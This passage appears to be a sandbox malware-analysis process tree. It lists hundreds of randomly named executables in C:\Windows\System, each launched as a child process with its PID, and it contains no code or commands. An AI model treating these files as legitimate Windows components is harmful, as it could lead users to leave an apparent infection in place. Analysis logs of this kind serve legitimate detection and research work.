- C:\Windows\System\zpwANAK.exe
  C:\Windows\System\zpwANAK.exe
  2⤵
  PID:8228
- C:\Windows\System\rPzpBHm.exe
  C:\Windows\System\rPzpBHm.exe
  2⤵
  PID:8284
- C:\Windows\System\psfSAzO.exe
  C:\Windows\System\psfSAzO.exe
  2⤵
  PID:8304
- C:\Windows\System\govcILk.exe
  C:\Windows\System\govcILk.exe
  2⤵
  PID:8320
- C:\Windows\System\nUYrMzp.exe
  C:\Windows\System\nUYrMzp.exe
  2⤵
  PID:8340
- C:\Windows\System\TujzvSi.exe
  C:\Windows\System\TujzvSi.exe
  2⤵
  PID:8364
- C:\Windows\System\eArcJgn.exe
  C:\Windows\System\eArcJgn.exe
  2⤵
  PID:8396
- C:\Windows\System\WKAjBVR.exe
  C:\Windows\System\WKAjBVR.exe
  2⤵
  PID:8424
- C:\Windows\System\EkNaujn.exe
  C:\Windows\System\EkNaujn.exe
  2⤵
  PID:8480
- C:\Windows\System\itGBhIU.exe
  C:\Windows\System\itGBhIU.exe
  2⤵
  PID:8500
- C:\Windows\System\KtGyuVI.exe
  C:\Windows\System\KtGyuVI.exe
  2⤵
  PID:8524
- C:\Windows\System\VUJePYj.exe
  C:\Windows\System\VUJePYj.exe
  2⤵
  PID:8572
- C:\Windows\System\hAdiLVB.exe
  C:\Windows\System\hAdiLVB.exe
  2⤵
  PID:8588
- C:\Windows\System\EWUtBoD.exe
  C:\Windows\System\EWUtBoD.exe
  2⤵
  PID:8616
- C:\Windows\System\tZCNkFa.exe
  C:\Windows\System\tZCNkFa.exe
  2⤵
  PID:8636
- C:\Windows\System\AsmxqSe.exe
  C:\Windows\System\AsmxqSe.exe
  2⤵
  PID:8656
- C:\Windows\System\nsmvFqW.exe
  C:\Windows\System\nsmvFqW.exe
  2⤵
  PID:8680
- C:\Windows\System\vsZxuEa.exe
  C:\Windows\System\vsZxuEa.exe
  2⤵
  PID:8700
- C:\Windows\System\AzAJJNI.exe
  C:\Windows\System\AzAJJNI.exe
  2⤵
  PID:8756
- C:\Windows\System\MWMLDsu.exe
  C:\Windows\System\MWMLDsu.exe
  2⤵
  PID:8796
- C:\Windows\System\gBLjFtA.exe
  C:\Windows\System\gBLjFtA.exe
  2⤵
  PID:8832
- C:\Windows\System\CxeyrQB.exe
  C:\Windows\System\CxeyrQB.exe
  2⤵
  PID:8852
- C:\Windows\System\kznuixC.exe
  C:\Windows\System\kznuixC.exe
  2⤵
  PID:8876
- C:\Windows\System\qXzkthf.exe
  C:\Windows\System\qXzkthf.exe
  2⤵
  PID:8896
- C:\Windows\System\ERZlPPy.exe
  C:\Windows\System\ERZlPPy.exe
  2⤵
  PID:8912
- C:\Windows\System\fCYdckR.exe
  C:\Windows\System\fCYdckR.exe
  2⤵
  PID:8940
- C:\Windows\System\vXlENLx.exe
  C:\Windows\System\vXlENLx.exe
  2⤵
  PID:8972
- C:\Windows\System\XokjusB.exe
  C:\Windows\System\XokjusB.exe
  2⤵
  PID:8988
- C:\Windows\System\tFWgHHU.exe
  C:\Windows\System\tFWgHHU.exe
  2⤵
  PID:9008
- C:\Windows\System\TMbUomL.exe
  C:\Windows\System\TMbUomL.exe
  2⤵
  PID:9028
- C:\Windows\System\vrntVyI.exe
  C:\Windows\System\vrntVyI.exe
  2⤵
  PID:9080
- C:\Windows\System\MTwqOJq.exe
  C:\Windows\System\MTwqOJq.exe
  2⤵
  PID:9132
- C:\Windows\System\bDVgwJT.exe
  C:\Windows\System\bDVgwJT.exe
  2⤵
  PID:9152
- C:\Windows\System\BdGEHgp.exe
  C:\Windows\System\BdGEHgp.exe
  2⤵
  PID:9188
- C:\Windows\System\OHkzOet.exe
  C:\Windows\System\OHkzOet.exe
  2⤵
  PID:9208
- C:\Windows\System\XMlbXyH.exe
  C:\Windows\System\XMlbXyH.exe
  2⤵
  PID:7188
- C:\Windows\System\DJRfKtA.exe
  C:\Windows\System\DJRfKtA.exe
  2⤵
  PID:7908
- C:\Windows\System\TCWFkmK.exe
  C:\Windows\System\TCWFkmK.exe
  2⤵
  PID:8356
- C:\Windows\System\bPuulyL.exe
  C:\Windows\System\bPuulyL.exe
  2⤵
  PID:8392
- C:\Windows\System\WNMkMoZ.exe
  C:\Windows\System\WNMkMoZ.exe
  2⤵
  PID:8432
- C:\Windows\System\ivbvcsM.exe
  C:\Windows\System\ivbvcsM.exe
  2⤵
  PID:8536
- C:\Windows\System\AsXRJTJ.exe
  C:\Windows\System\AsXRJTJ.exe
  2⤵
  PID:8580
- C:\Windows\System\kSXExEg.exe
  C:\Windows\System\kSXExEg.exe
  2⤵
  PID:8628
- C:\Windows\System\ySLXXWg.exe
  C:\Windows\System\ySLXXWg.exe
  2⤵
  PID:8668
- C:\Windows\System\vioUTZS.exe
  C:\Windows\System\vioUTZS.exe
  2⤵
  PID:8732
- C:\Windows\System\xHPpREk.exe
  C:\Windows\System\xHPpREk.exe
  2⤵
  PID:8824
- C:\Windows\System\ZwomLAI.exe
  C:\Windows\System\ZwomLAI.exe
  2⤵
  PID:8868
- C:\Windows\System\VUwlDky.exe
  C:\Windows\System\VUwlDky.exe
  2⤵
  PID:8924
- C:\Windows\System\MycuAdF.exe
  C:\Windows\System\MycuAdF.exe
  2⤵
  PID:8884
- C:\Windows\System\miqsPKg.exe
  C:\Windows\System\miqsPKg.exe
  2⤵
  PID:9056
- C:\Windows\System\ZkvGGfn.exe
  C:\Windows\System\ZkvGGfn.exe
  2⤵
  PID:8960
- C:\Windows\System\KLizMRX.exe
  C:\Windows\System\KLizMRX.exe
  2⤵
  PID:9072
- C:\Windows\System\rKQXeZw.exe
  C:\Windows\System\rKQXeZw.exe
  2⤵
  PID:9180
- C:\Windows\System\iqbRHoE.exe
  C:\Windows\System\iqbRHoE.exe
  2⤵
  PID:9200
- C:\Windows\System\eVDRNZA.exe
  C:\Windows\System\eVDRNZA.exe
  2⤵
  PID:8276
- C:\Windows\System\kZjvkGc.exe
  C:\Windows\System\kZjvkGc.exe
  2⤵
  PID:8624
- C:\Windows\System\einqSzU.exe
  C:\Windows\System\einqSzU.exe
  2⤵
  PID:8612
- C:\Windows\System\YKtrLuw.exe
  C:\Windows\System\YKtrLuw.exe
  2⤵
  PID:8808
- C:\Windows\System\bfMPWDm.exe
  C:\Windows\System\bfMPWDm.exe
  2⤵
  PID:9000
- C:\Windows\System\KSwpzEo.exe
  C:\Windows\System\KSwpzEo.exe
  2⤵
  PID:9060
- C:\Windows\System\QGfyfRQ.exe
  C:\Windows\System\QGfyfRQ.exe
  2⤵
  PID:8252
- C:\Windows\System\xfqXcOS.exe
  C:\Windows\System\xfqXcOS.exe
  2⤵
  PID:8984
- C:\Windows\System\YsTgXKV.exe
  C:\Windows\System\YsTgXKV.exe
  2⤵
  PID:8460
- C:\Windows\System\DgCvscF.exe
  C:\Windows\System\DgCvscF.exe
  2⤵
  PID:8904
- C:\Windows\System\IMiMfpK.exe
  C:\Windows\System\IMiMfpK.exe
  2⤵
  PID:9220
- C:\Windows\System\fikHmjF.exe
  C:\Windows\System\fikHmjF.exe
  2⤵
  PID:9240
- C:\Windows\System\PLeOGdl.exe
  C:\Windows\System\PLeOGdl.exe
  2⤵
  PID:9276
- C:\Windows\System\xmLxuqS.exe
  C:\Windows\System\xmLxuqS.exe
  2⤵
  PID:9296
- C:\Windows\System\jBRgDGv.exe
  C:\Windows\System\jBRgDGv.exe
  2⤵
  PID:9316
- C:\Windows\System\asNLywT.exe
  C:\Windows\System\asNLywT.exe
  2⤵
  PID:9344
- C:\Windows\System\SdhLZFB.exe
  C:\Windows\System\SdhLZFB.exe
  2⤵
  PID:9368
- C:\Windows\System\GwmTZoV.exe
  C:\Windows\System\GwmTZoV.exe
  2⤵
  PID:9424
- C:\Windows\System\hYobOwC.exe
  C:\Windows\System\hYobOwC.exe
  2⤵
  PID:9448
- C:\Windows\System\QYFfrQx.exe
  C:\Windows\System\QYFfrQx.exe
  2⤵
  PID:9464
- C:\Windows\System\rmHExyk.exe
  C:\Windows\System\rmHExyk.exe
  2⤵
  PID:9484
- C:\Windows\System\vbyPOZQ.exe
  C:\Windows\System\vbyPOZQ.exe
  2⤵
  PID:9528
- C:\Windows\System\deVVKTQ.exe
  C:\Windows\System\deVVKTQ.exe
  2⤵
  PID:9544
- C:\Windows\System\HKAYkzf.exe
  C:\Windows\System\HKAYkzf.exe
  2⤵
  PID:9568
- C:\Windows\System\PkehGqC.exe
  C:\Windows\System\PkehGqC.exe
  2⤵
  PID:9588
- C:\Windows\System\LFhpgxg.exe
  C:\Windows\System\LFhpgxg.exe
  2⤵
  PID:9624
- C:\Windows\System\ptImCpU.exe
  C:\Windows\System\ptImCpU.exe
  2⤵
  PID:9644
- C:\Windows\System\pMalgiI.exe
  C:\Windows\System\pMalgiI.exe
  2⤵
  PID:9668
- C:\Windows\System\fwhkCVd.exe
  C:\Windows\System\fwhkCVd.exe
  2⤵
  PID:9700
- C:\Windows\System\AbCoLVB.exe
  C:\Windows\System\AbCoLVB.exe
  2⤵
  PID:9716
- C:\Windows\System\AYeODDy.exe
  C:\Windows\System\AYeODDy.exe
  2⤵
  PID:9736
- C:\Windows\System\qkKxylD.exe
  C:\Windows\System\qkKxylD.exe
  2⤵
  PID:9756
- C:\Windows\System\zBqDXYT.exe
  C:\Windows\System\zBqDXYT.exe
  2⤵
  PID:9816
- C:\Windows\System\jCEnoCk.exe
  C:\Windows\System\jCEnoCk.exe
  2⤵
  PID:9860
- C:\Windows\System\kauwuoq.exe
  C:\Windows\System\kauwuoq.exe
  2⤵
  PID:9880
- C:\Windows\System\WtmkdQI.exe
  C:\Windows\System\WtmkdQI.exe
  2⤵
  PID:9900
- C:\Windows\System\JOnmBAj.exe
  C:\Windows\System\JOnmBAj.exe
  2⤵
  PID:9920
- C:\Windows\System\GpjUQxy.exe
  C:\Windows\System\GpjUQxy.exe
  2⤵
  PID:9968
- C:\Windows\System\grSafXC.exe
  C:\Windows\System\grSafXC.exe
  2⤵
  PID:9984
- C:\Windows\System\etRMOmc.exe
  C:\Windows\System\etRMOmc.exe
  2⤵
  PID:10004
- C:\Windows\System\FpkQBKg.exe
  C:\Windows\System\FpkQBKg.exe
  2⤵
  PID:10028
- C:\Windows\System\oWeZgMW.exe
  C:\Windows\System\oWeZgMW.exe
  2⤵
  PID:10084
- C:\Windows\System\DwnciZI.exe
  C:\Windows\System\DwnciZI.exe
  2⤵
  PID:10100
- C:\Windows\System\LkfmPFw.exe
  C:\Windows\System\LkfmPFw.exe
  2⤵
  PID:10136
- C:\Windows\System\QQSqAqe.exe
  C:\Windows\System\QQSqAqe.exe
  2⤵
  PID:9256
- C:\Windows\System\JlSqyYU.exe
  C:\Windows\System\JlSqyYU.exe
  2⤵
  PID:9376
- C:\Windows\System\sVzgTLo.exe
  C:\Windows\System\sVzgTLo.exe
  2⤵
  PID:9504
- C:\Windows\System\KFYVxOc.exe
  C:\Windows\System\KFYVxOc.exe
  2⤵
  PID:9480
- C:\Windows\System\OsQwtxd.exe
  C:\Windows\System\OsQwtxd.exe
  2⤵
  PID:9556
- C:\Windows\System\OwSEsIq.exe
  C:\Windows\System\OwSEsIq.exe
  2⤵
  PID:9540
- C:\Windows\System\hzIyfFp.exe
  C:\Windows\System\hzIyfFp.exe
  2⤵
  PID:9636
- C:\Windows\System\jxnvdOV.exe
  C:\Windows\System\jxnvdOV.exe
  2⤵
  PID:9712
- C:\Windows\System\iTrXTKz.exe
  C:\Windows\System\iTrXTKz.exe
  2⤵
  PID:9844
- C:\Windows\System\zdiiyEg.exe
  C:\Windows\System\zdiiyEg.exe
  2⤵
  PID:9916
- C:\Windows\System\GkrWmkt.exe
  C:\Windows\System\GkrWmkt.exe
  2⤵
  PID:9932
- C:\Windows\System\qqoBDfM.exe
  C:\Windows\System\qqoBDfM.exe
  2⤵
  PID:9996
- C:\Windows\System\IORWuFK.exe
  C:\Windows\System\IORWuFK.exe
  2⤵
  PID:10080
- C:\Windows\System\WEYyscn.exe
  C:\Windows\System\WEYyscn.exe
  2⤵
  PID:10116
- C:\Windows\System\VFBwqbA.exe
  C:\Windows\System\VFBwqbA.exe
  2⤵
  PID:10120
- C:\Windows\System\GeaEEme.exe
  C:\Windows\System\GeaEEme.exe
  2⤵
  PID:9120
- C:\Windows\System\vmYpfZB.exe
  C:\Windows\System\vmYpfZB.exe
  2⤵
  PID:10168
- C:\Windows\System\TOoZFyM.exe
  C:\Windows\System\TOoZFyM.exe
  2⤵
  PID:10228
- C:\Windows\System\bMogpmI.exe
  C:\Windows\System\bMogpmI.exe
  2⤵
  PID:9308
- C:\Windows\System\BPUYDKM.exe
  C:\Windows\System\BPUYDKM.exe
  2⤵
  PID:9768
- C:\Windows\System\bDiFWVF.exe
  C:\Windows\System\bDiFWVF.exe
  2⤵
  PID:9936
- C:\Windows\System\cSQmQZn.exe
  C:\Windows\System\cSQmQZn.exe
  2⤵
  PID:10216
- C:\Windows\System\AWmXYOW.exe
  C:\Windows\System\AWmXYOW.exe
  2⤵
  PID:10040
- C:\Windows\System\AntrGRx.exe
  C:\Windows\System\AntrGRx.exe
  2⤵
  PID:10188
- C:\Windows\System\fGbCkcs.exe
  C:\Windows\System\fGbCkcs.exe
  2⤵
  PID:10212
- C:\Windows\System\jsOAMqq.exe
  C:\Windows\System\jsOAMqq.exe
  2⤵
  PID:9360
- C:\Windows\System\BhenShK.exe
  C:\Windows\System\BhenShK.exe
  2⤵
  PID:9908
- C:\Windows\System\ZvZmEGC.exe
  C:\Windows\System\ZvZmEGC.exe
  2⤵
  PID:9976
- C:\Windows\System\KkxcYRD.exe
  C:\Windows\System\KkxcYRD.exe
  2⤵
  PID:9676
- C:\Windows\System\VHmAFnI.exe
  C:\Windows\System\VHmAFnI.exe
  2⤵
  PID:4636
- C:\Windows\System\UeIPSHR.exe
  C:\Windows\System\UeIPSHR.exe
  2⤵
  PID:9416
- C:\Windows\System\vwjrRqn.exe
  C:\Windows\System\vwjrRqn.exe
  2⤵
  PID:10260
- C:\Windows\System\tBgRVvz.exe
  C:\Windows\System\tBgRVvz.exe
  2⤵
  PID:10280
- C:\Windows\System\jVRtrwp.exe
  C:\Windows\System\jVRtrwp.exe
  2⤵
  PID:10312
- C:\Windows\System\JLEWykq.exe
  C:\Windows\System\JLEWykq.exe
  2⤵
  PID:10336
- C:\Windows\System\zhbjXTe.exe
  C:\Windows\System\zhbjXTe.exe
  2⤵
  PID:10376
- C:\Windows\System\UuCHlVG.exe
  C:\Windows\System\UuCHlVG.exe
  2⤵
  PID:10420
- C:\Windows\System\NhUOlLj.exe
  C:\Windows\System\NhUOlLj.exe
  2⤵
  PID:10440
- C:\Windows\System\JHTAElK.exe
  C:\Windows\System\JHTAElK.exe
  2⤵
  PID:10456
- C:\Windows\System\ojtWIyr.exe
  C:\Windows\System\ojtWIyr.exe
  2⤵
  PID:10476
- C:\Windows\System\ixtyVoP.exe
  C:\Windows\System\ixtyVoP.exe
  2⤵
  PID:10504
- C:\Windows\System\yGURMBE.exe
  C:\Windows\System\yGURMBE.exe
  2⤵
  PID:10532
- C:\Windows\System\DszKgUv.exe
  C:\Windows\System\DszKgUv.exe
  2⤵
  PID:10548
- C:\Windows\System\pcAatOZ.exe
  C:\Windows\System\pcAatOZ.exe
  2⤵
  PID:10568
- C:\Windows\System\ngYeXyu.exe
  C:\Windows\System\ngYeXyu.exe
  2⤵
  PID:10592
- C:\Windows\System\lkrfnFY.exe
  C:\Windows\System\lkrfnFY.exe
  2⤵
  PID:10612
- C:\Windows\System\adFIUyl.exe
  C:\Windows\System\adFIUyl.exe
  2⤵
  PID:10636
- C:\Windows\System\scWMkKi.exe
  C:\Windows\System\scWMkKi.exe
  2⤵
  PID:10660
- C:\Windows\System\xnPusJE.exe
  C:\Windows\System\xnPusJE.exe
  2⤵
  PID:10696
- C:\Windows\System\mopDueU.exe
  C:\Windows\System\mopDueU.exe
  2⤵
  PID:10752
- C:\Windows\System\owyYLjh.exe
  C:\Windows\System\owyYLjh.exe
  2⤵
  PID:10804
- C:\Windows\System\orbAGmo.exe
  C:\Windows\System\orbAGmo.exe
  2⤵
  PID:10848
- C:\Windows\System\DvfWblX.exe
  C:\Windows\System\DvfWblX.exe
  2⤵
  PID:10868
- C:\Windows\System\DoBRwjE.exe
  C:\Windows\System\DoBRwjE.exe
  2⤵
  PID:10896
- C:\Windows\System\UefrevX.exe
  C:\Windows\System\UefrevX.exe
  2⤵
  PID:10920
- C:\Windows\System\XROtmLP.exe
  C:\Windows\System\XROtmLP.exe
  2⤵
  PID:10940
- C:\Windows\System\PYBgdpk.exe
  C:\Windows\System\PYBgdpk.exe
  2⤵
  PID:10972
- C:\Windows\System\WPceMQH.exe
  C:\Windows\System\WPceMQH.exe
  2⤵
  PID:10996
- C:\Windows\System\fTVteRI.exe
  C:\Windows\System\fTVteRI.exe
  2⤵
  PID:11020
- C:\Windows\System\AILwBWb.exe
  C:\Windows\System\AILwBWb.exe
  2⤵
  PID:11068
- C:\Windows\System\UewofhI.exe
  C:\Windows\System\UewofhI.exe
  2⤵
  PID:11084
- C:\Windows\System\gjQUzHZ.exe
  C:\Windows\System\gjQUzHZ.exe
  2⤵
  PID:11104
- C:\Windows\System\LHefyhw.exe
  C:\Windows\System\LHefyhw.exe
  2⤵
  PID:11128
- C:\Windows\System\jPxceiD.exe
  C:\Windows\System\jPxceiD.exe
  2⤵
  PID:11156
- C:\Windows\System\hXIFLyt.exe
  C:\Windows\System\hXIFLyt.exe
  2⤵
  PID:11188
- C:\Windows\System\rDpCFVJ.exe
  C:\Windows\System\rDpCFVJ.exe
  2⤵
  PID:11220
- C:\Windows\System\iBHzQBt.exe
  C:\Windows\System\iBHzQBt.exe
  2⤵
  PID:10248
- C:\Windows\System\PXKYeXc.exe
  C:\Windows\System\PXKYeXc.exe
  2⤵
  PID:10272
- C:\Windows\System\rxgDoGO.exe
  C:\Windows\System\rxgDoGO.exe
  2⤵
  PID:10300
- C:\Windows\System\sukrBOt.exe
  C:\Windows\System\sukrBOt.exe
  2⤵
  PID:10388
- C:\Windows\System\GlFJAfp.exe
  C:\Windows\System\GlFJAfp.exe
  2⤵
  PID:10432
- C:\Windows\System\DHEjEvI.exe
  C:\Windows\System\DHEjEvI.exe
  2⤵
  PID:10472
- C:\Windows\System\DOCfipE.exe
  C:\Windows\System\DOCfipE.exe
  2⤵
  PID:10500
- C:\Windows\System\hwYvTdI.exe
  C:\Windows\System\hwYvTdI.exe
  2⤵
  PID:10584
- C:\Windows\System\WCABHuQ.exe
  C:\Windows\System\WCABHuQ.exe
  2⤵
  PID:10624
- C:\Windows\System\VkCKyDJ.exe
  C:\Windows\System\VkCKyDJ.exe
  2⤵
  PID:10784
- C:\Windows\System\gPPcUxc.exe
  C:\Windows\System\gPPcUxc.exe
  2⤵
  PID:10904
- C:\Windows\System\RakPpsa.exe
  C:\Windows\System\RakPpsa.exe
  2⤵
  PID:10892
- C:\Windows\System\CaHyVdi.exe
  C:\Windows\System\CaHyVdi.exe
  2⤵
  PID:11004
- C:\Windows\System\ESBRMYI.exe
  C:\Windows\System\ESBRMYI.exe
  2⤵
  PID:11012
- C:\Windows\System\ZPxHGwe.exe
  C:\Windows\System\ZPxHGwe.exe
  2⤵
  PID:11080
- C:\Windows\System\lmpxOpw.exe
  C:\Windows\System\lmpxOpw.exe
  2⤵
  PID:11116
- C:\Windows\System\gKFmfGN.exe
  C:\Windows\System\gKFmfGN.exe
  2⤵
  PID:11200
- C:\Windows\System\jrFCEOF.exe
  C:\Windows\System\jrFCEOF.exe
  2⤵
  PID:11244
- C:\Windows\System\SVmKSUe.exe
  C:\Windows\System\SVmKSUe.exe
  2⤵
  PID:10320
- C:\Windows\System\fhxIAYI.exe
  C:\Windows\System\fhxIAYI.exe
  2⤵
  PID:10372
- C:\Windows\System\CddnWoj.exe
  C:\Windows\System\CddnWoj.exe
  2⤵
  PID:10680
- C:\Windows\System\WpKctjj.exe
  C:\Windows\System\WpKctjj.exe
  2⤵
  PID:10800
- C:\Windows\System\ifHeDCY.exe
  C:\Windows\System\ifHeDCY.exe
  2⤵
  PID:10880
- C:\Windows\System\xviRcPX.exe
  C:\Windows\System\xviRcPX.exe
  2⤵
  PID:11096
- C:\Windows\System\rJXBNls.exe
  C:\Windows\System\rJXBNls.exe
  2⤵
  PID:10604
- C:\Windows\System\xtBQWuf.exe
  C:\Windows\System\xtBQWuf.exe
  2⤵
  PID:10840
- C:\Windows\System\OQFpZnF.exe
  C:\Windows\System\OQFpZnF.exe
  2⤵
  PID:11168
- C:\Windows\System\GMjZbqd.exe
  C:\Windows\System\GMjZbqd.exe
  2⤵
  PID:10728
- C:\Windows\System\wXfKiCm.exe
  C:\Windows\System\wXfKiCm.exe
  2⤵
  PID:11272
- C:\Windows\System\BAUFsEK.exe
  C:\Windows\System\BAUFsEK.exe
  2⤵
  PID:11308
- C:\Windows\System\iSfoImH.exe
  C:\Windows\System\iSfoImH.exe
  2⤵
  PID:11328
- C:\Windows\System\mdBiIMk.exe
  C:\Windows\System\mdBiIMk.exe
  2⤵
  PID:11356
- C:\Windows\System\nShNwZh.exe
  C:\Windows\System\nShNwZh.exe
  2⤵
  PID:11388
- C:\Windows\System\YUpWpOo.exe
  C:\Windows\System\YUpWpOo.exe
  2⤵
  PID:11428
- C:\Windows\System\LUNhkjk.exe
  C:\Windows\System\LUNhkjk.exe
  2⤵
  PID:11448
- C:\Windows\System\bkWtDyH.exe
  C:\Windows\System\bkWtDyH.exe
  2⤵
  PID:11468
- C:\Windows\System\YRixLLl.exe
  C:\Windows\System\YRixLLl.exe
  2⤵
  PID:11508
- C:\Windows\System\ksMbYal.exe
  C:\Windows\System\ksMbYal.exe
  2⤵
  PID:11528
- C:\Windows\System\dQzDOTD.exe
  C:\Windows\System\dQzDOTD.exe
  2⤵
  PID:11544
- C:\Windows\System\LhNkVYV.exe
  C:\Windows\System\LhNkVYV.exe
  2⤵
  PID:11592
- C:\Windows\System\RHrclfi.exe
  C:\Windows\System\RHrclfi.exe
  2⤵
  PID:11608
- C:\Windows\System\vycUjeS.exe
  C:\Windows\System\vycUjeS.exe
  2⤵
  PID:11624
- C:\Windows\System\TgkpLFu.exe
  C:\Windows\System\TgkpLFu.exe
  2⤵
  PID:11644
- C:\Windows\System\OiFSPOF.exe
  C:\Windows\System\OiFSPOF.exe
  2⤵
  PID:11664
- C:\Windows\System\iffObeb.exe
  C:\Windows\System\iffObeb.exe
  2⤵
  PID:11704
- C:\Windows\System\xAUczWk.exe
  C:\Windows\System\xAUczWk.exe
  2⤵
  PID:11728
- C:\Windows\System\vqUYcKe.exe
  C:\Windows\System\vqUYcKe.exe
  2⤵
  PID:11764
- C:\Windows\System\ouTDwRW.exe
  C:\Windows\System\ouTDwRW.exe
  2⤵
  PID:11780
- C:\Windows\System\qJByXqY.exe
  C:\Windows\System\qJByXqY.exe
  2⤵
  PID:11800
- C:\Windows\System\qrVijvT.exe
  C:\Windows\System\qrVijvT.exe
  2⤵
  PID:11824
- C:\Windows\System\gWaqDZo.exe
  C:\Windows\System\gWaqDZo.exe
  2⤵
  PID:11844
- C:\Windows\System\SNeHlde.exe
  C:\Windows\System\SNeHlde.exe
  2⤵
  PID:11896
- C:\Windows\System\iQFVDWe.exe
  C:\Windows\System\iQFVDWe.exe
  2⤵
  PID:11916
- C:\Windows\System\MVYsuYz.exe
  C:\Windows\System\MVYsuYz.exe
  2⤵
  PID:11960
- C:\Windows\System\ztGRjvz.exe
  C:\Windows\System\ztGRjvz.exe
  2⤵
  PID:11976
- C:\Windows\System\mWoKcWB.exe
  C:\Windows\System\mWoKcWB.exe
  2⤵
  PID:12012
- C:\Windows\System\EXleUie.exe
  C:\Windows\System\EXleUie.exe
  2⤵
  PID:12032
- C:\Windows\System\ROBgVPQ.exe
  C:\Windows\System\ROBgVPQ.exe
  2⤵
  PID:12060
- C:\Windows\System\gdxPhOk.exe
  C:\Windows\System\gdxPhOk.exe
  2⤵
  PID:12080
- C:\Windows\System\jcqqIWV.exe
  C:\Windows\System\jcqqIWV.exe
  2⤵
  PID:12128
- C:\Windows\System\KtclCOe.exe
  C:\Windows\System\KtclCOe.exe
  2⤵
  PID:12148
- C:\Windows\System\PDNtwMi.exe
  C:\Windows\System\PDNtwMi.exe
  2⤵
  PID:12200
- C:\Windows\System\WZDgArW.exe
  C:\Windows\System\WZDgArW.exe
  2⤵
  PID:12224
- C:\Windows\System\DFSMnBh.exe
  C:\Windows\System\DFSMnBh.exe
  2⤵
  PID:12240
- C:\Windows\System\ViVXflG.exe
  C:\Windows\System\ViVXflG.exe
  2⤵
  PID:12280
- C:\Windows\System\PTALJNy.exe
  C:\Windows\System\PTALJNy.exe
  2⤵
  PID:11040
- C:\Windows\System\wzOcDxk.exe
  C:\Windows\System\wzOcDxk.exe
  2⤵
  PID:11344
- C:\Windows\System\CmWSQoq.exe
  C:\Windows\System\CmWSQoq.exe
  2⤵
  PID:11456
- C:\Windows\System\GmenFRT.exe
  C:\Windows\System\GmenFRT.exe
  2⤵
  PID:11460
- C:\Windows\System\AZEFxTo.exe
  C:\Windows\System\AZEFxTo.exe
  2⤵
  PID:11568
- C:\Windows\System\kDemycQ.exe
  C:\Windows\System\kDemycQ.exe
  2⤵
  PID:11604
- C:\Windows\System\IwrxYht.exe
  C:\Windows\System\IwrxYht.exe
  2⤵
  PID:11740
- C:\Windows\System\jurPsqg.exe
  C:\Windows\System\jurPsqg.exe
  2⤵
  PID:11796
- C:\Windows\System\kJsNLjs.exe
  C:\Windows\System\kJsNLjs.exe
  2⤵
  PID:11836
- C:\Windows\System\pCkUyfe.exe
  C:\Windows\System\pCkUyfe.exe
  2⤵
  PID:11884
- C:\Windows\System\IjBXYZn.exe
  C:\Windows\System\IjBXYZn.exe
  2⤵
  PID:11972
- C:\Windows\System\KNtkEEh.exe
  C:\Windows\System\KNtkEEh.exe
  2⤵
  PID:12044
- C:\Windows\System\rfGwvAS.exe
  C:\Windows\System\rfGwvAS.exe
  2⤵
  PID:12028
- C:\Windows\System\CzbUqEE.exe
  C:\Windows\System\CzbUqEE.exe
  2⤵
  PID:12112
- C:\Windows\System\YaMqRcJ.exe
  C:\Windows\System\YaMqRcJ.exe
  2⤵
  PID:12140
- C:\Windows\System\jxBtIla.exe
  C:\Windows\System\jxBtIla.exe
  2⤵
  PID:4380
- C:\Windows\System\YFWQRuF.exe
  C:\Windows\System\YFWQRuF.exe
  2⤵
  PID:2416
- C:\Windows\System\OVwuJpn.exe
  C:\Windows\System\OVwuJpn.exe
  2⤵
  PID:4576
- C:\Windows\System\OLuqWkf.exe
  C:\Windows\System\OLuqWkf.exe
  2⤵
  PID:11484
- C:\Windows\System\WPZoOUx.exe
  C:\Windows\System\WPZoOUx.exe
  2⤵
  PID:11540
- C:\Windows\System\oUxMTcM.exe
  C:\Windows\System\oUxMTcM.exe
  2⤵
  PID:11680
- C:\Windows\System\MzPEPsG.exe
  C:\Windows\System\MzPEPsG.exe
  2⤵
  PID:11876
- C:\Windows\System\tKVoIud.exe
  C:\Windows\System\tKVoIud.exe
  2⤵
  PID:12024
- C:\Windows\System\mhrAufC.exe
  C:\Windows\System\mhrAufC.exe
  2⤵
  PID:12180
- C:\Windows\System\ovBpdTf.exe
  C:\Windows\System\ovBpdTf.exe
  2⤵
  PID:11384
- C:\Windows\System\GZEkYAU.exe
  C:\Windows\System\GZEkYAU.exe
  2⤵
  PID:1408
- C:\Windows\System\TwPxKyR.exe
  C:\Windows\System\TwPxKyR.exe
  2⤵
  PID:11760
- C:\Windows\System\GaCwrNx.exe
  C:\Windows\System\GaCwrNx.exe
  2⤵
  PID:11956
- C:\Windows\System\NUkQqol.exe
  C:\Windows\System\NUkQqol.exe
  2⤵
  PID:11864
- C:\Windows\System\NVpSFKB.exe
  C:\Windows\System\NVpSFKB.exe
  2⤵
  PID:12300
- C:\Windows\System\XVkQbra.exe
  C:\Windows\System\XVkQbra.exe
  2⤵
  PID:12328
- C:\Windows\System\DpAStwU.exe
  C:\Windows\System\DpAStwU.exe
  2⤵
  PID:12344
- C:\Windows\System\sNHFZPP.exe
  C:\Windows\System\sNHFZPP.exe
  2⤵
  PID:12388
- C:\Windows\System\PHakiAS.exe
  C:\Windows\System\PHakiAS.exe
  2⤵
  PID:12420
- C:\Windows\System\wFcwybm.exe
  C:\Windows\System\wFcwybm.exe
  2⤵
  PID:12456
- C:\Windows\System\OxyVbxu.exe
  C:\Windows\System\OxyVbxu.exe
  2⤵
  PID:12480
- C:\Windows\System\uoZivCy.exe
  C:\Windows\System\uoZivCy.exe
  2⤵
  PID:12508
- C:\Windows\System\TsNTsOi.exe
  C:\Windows\System\TsNTsOi.exe
  2⤵
  PID:12524
- C:\Windows\System\ZVoVBQF.exe
  C:\Windows\System\ZVoVBQF.exe
  2⤵
  PID:12552
- C:\Windows\System\BOpEFll.exe
  C:\Windows\System\BOpEFll.exe
  2⤵
  PID:12568
- C:\Windows\System\HZkteGY.exe
  C:\Windows\System\HZkteGY.exe
  2⤵
  PID:12588
- C:\Windows\System\NJOBCiS.exe
  C:\Windows\System\NJOBCiS.exe
  2⤵
  PID:12612
- C:\Windows\System\HGEwhzN.exe
  C:\Windows\System\HGEwhzN.exe
  2⤵
  PID:12628
- C:\Windows\System\RwgrkcL.exe
  C:\Windows\System\RwgrkcL.exe
  2⤵
  PID:12696
- C:\Windows\System\KVUhezO.exe
  C:\Windows\System\KVUhezO.exe
  2⤵
  PID:12732
- C:\Windows\System\PGyRAkp.exe
  C:\Windows\System\PGyRAkp.exe
  2⤵
  PID:12752
- C:\Windows\System\oBDVtKx.exe
  C:\Windows\System\oBDVtKx.exe
  2⤵
  PID:12788
- C:\Windows\System\RSJbakv.exe
